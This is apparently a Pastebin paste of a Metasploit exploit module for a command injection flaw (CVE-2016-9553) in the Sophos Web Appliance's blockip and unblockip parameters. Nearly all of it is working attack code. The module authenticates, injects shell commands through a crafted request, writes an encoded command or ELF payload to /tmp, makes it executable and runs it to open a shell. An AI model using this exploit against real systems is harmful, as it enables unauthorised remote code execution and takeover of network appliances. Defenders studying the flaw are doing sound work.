Advertisement
Guest User

Untitled

a guest
Feb 22nd, 2017
5,933
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 6.03 KB | None | 0 0
  1. # Exploit Title: Sophos Web Appliance UnBlock/Block-IP Remote Command Injection Vulnerability
  2. # Date: 12/12/2016
  3. # Exploit Author: xort @ Critical Start
  4. # Vendor Homepage: www.sophos.com
  5. # Software Link: sophos.com/en-us/products/secure-web-gateway.aspx
  6. # Version: 4.2.1.3
  7. # Tested on: 4.2.1.3
  8. #            
  9. # CVE : CVE-2016-9553
  10.  
  11. # vuln 1: unblockip parameter / MgrReport.php exploit
  12. # vuln 2: blockip parameter   / MgrReport.php exploit
  13.  
  14. # Description PostAuth Sophos Web App FW <= v4.2.1.3 for capabilities. This exploit leverages a command injection bug.
  15. #
  16. # xort @ Critical Start
  17.  
  18. require 'msf/core'
  19.  
  20. class MetasploitModule < Msf::Exploit::Remote
  21.     Rank = ExcellentRanking
  22.     include  Exploit::Remote::Tcp
  23.         include Msf::Exploit::Remote::HttpClient
  24.  
  25.     def initialize(info = {})
  26.         super(update_info(info,
  27.             'Name'           => 'Sophos Web Appliance <= v4.2.1.3 block/unblock remote exploit',
  28.                     'Description'    => %q{
  29.                     This module exploits two 2 separate remote command injection vulnerabilities in
  30.                 the Sophos Web Appliance Version <=  v4.2.1.3 the web administration interface.
  31.                     By sending a specially crafted request it's possible to inject system
  32.                  commands
  33.             },
  34.             'Author'         =>
  35.                 [
  36.                     'xort', # vuln + metasploit module
  37.                 ],
  38.             'Version'        => '$Revision: 2 $',
  39.             'References'     =>
  40.                 [
  41.                     [ 'none', 'none'],
  42.                 ],
  43.             'Platform'      => [ 'linux'],
  44.             'Privileged'     => true,
  45.              'Arch'          => [ ARCH_X86 ],
  46.                        'SessionTypes'  => [ 'shell' ],
  47.                        'Privileged'     => false,
  48.  
  49.                 'Payload'        =>
  50.                                {
  51.                                  'Compat' =>
  52.                                  {
  53.                                        'ConnectionType' => 'find',
  54.                                  }
  55.                                },
  56.  
  57.             'Targets'        =>
  58.                 [
  59.                     [
  60.                         'blockip method',
  61.                         {
  62.                                 'Arch' => ARCH_X86,
  63.                                 'Platform' => 'linux',
  64.                                 'VulnName' => 'blockip',
  65.                                 'VulnNum' => '1',
  66.                         },
  67.                     ], 
  68.                     [
  69.                         'unblockip method',
  70.                         {
  71.                                 'Arch' => ARCH_X86,
  72.                                 'Platform' => 'linux',
  73.                                 'VulnName' => 'unblockip',
  74.                                 'VulnNum' => '2',
  75.                         },
  76.                     ],
  77.                 ],
  78.             'DefaultTarget' => 0))
  79.  
  80.             register_options(
  81.                 [
  82.                     OptString.new('PASSWORD', [ false, 'Device password', "" ]),   
  83.                         OptString.new('USERNAME', [ true, 'Device password', "admin" ]),   
  84.                     OptString.new('CMD', [ false, 'Command to execute', "" ]), 
  85.                     Opt::RPORT(443),
  86.                 ], self.class)
  87.     end
  88.  
  89.  
  90.        def do_login(username, password_clear)
  91.                vprint_status( "Logging into machine with credentials...\n" )
  92.  
  93.                # vars
  94.                timeout = 11550;
  95.                style_key = Rex::Text.rand_text_hex(32)
  96.  
  97.                # send request  
  98.                res = send_request_cgi(
  99.                {
  100.                      'method'  => 'POST',
  101.                      'uri'     => "/index.php",
  102.                      'vars_get' => {
  103.                'c' => 'login',
  104.             },
  105.                      'vars_post' =>
  106.                        {
  107.  
  108.                   'STYLE' => style_key,
  109.               'destination' => '',
  110.               'username' => username,
  111.               'password' => password_clear,
  112.                        }
  113.                }, timeout)
  114.  
  115.                return style_key
  116.        end
  117.  
  118.     def run_command(username, style_password, cmd)
  119.         vprint_status( "Running Command...\n" )
  120.  
  121.         # random attack method from calling methods into  
  122.         calling_commands = [ 'report','trend_volume','trend_suspect','top_app_ctrl','perf_latency','perf_throughput','users_browse_summary','traf_sites','traf_blocked','traf_users','users_virus_downloaders','users_pua_downloaders','users_highrisk','users_policy_violators','users_top_users_by_browse_time','users_quota','users_browse_time_by_user','users_top_users_by_category','users_site_visits_by_user','users_category_visits_by_user','users_monitored_search_queries','users_app_ctrl','traf_category','traf_download' ,'warned_sites' ]
  123.  
  124.         # select random calling page that calls the vulnerable page MgrReport.php where the vulns are
  125.         attack_method = calling_commands[rand(calling_commands.length)]
  126.  
  127.                # random filename to dump too + 'tmp' HAS to be here.
  128.                b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))
  129.  
  130.         vprint_status( "Attacking Vuln #" + target['VulnNum']+ " - " + target['VulnName'] + " with " + attack_method  + "command method" )
  131.         res = send_request_cgi({
  132.             'method' => 'GET',
  133.             'uri' => '/index.php?c=trend_suspect&' + target['VulnName'] + '=1.2.3.6`'+ cmd +'`&STYLE='+style_password
  134.         })
  135.  
  136.     end
  137.  
  138.     def exploit
  139.         # timeout
  140.         timeout = 1550;
  141.  
  142.         # params
  143.         password_clear = datastore['PASSWORD']
  144.         user = datastore['USERNAME']
  145.        
  146.         style_hash = do_login(user, password_clear)
  147.    
  148.         vprint_status("STATUS hash authenticated: #{style_hash}\n")
  149.  
  150.         sleep(5)
  151.  
  152.          #if no 'CMD' string - add code for root shell
  153.                if not datastore['CMD'].nil? and not datastore['CMD'].empty?
  154.  
  155.                        cmd = datastore['CMD']
  156.  
  157.                        # Encode cmd payload
  158.                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
  159.  
  160.                        # kill stale calls to bdump from previous exploit calls for re-use
  161.                        run_command(user, style_hash, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
  162.                else
  163.                        # Encode payload to ELF file for deployment
  164.                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
  165.                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\x\1\2')
  166.  
  167.             # upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
  168.                        run_command(user, style_hash, ("echo%20-e%20#{encoded_elf}\>%20/tmp/m\;chmod%20%2brx%20/tmp/m\;/tmp/m"))
  169.             # wait for magic
  170.                        handler
  171.            
  172.                end
  173.  
  174.  
  175.     end
  176. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement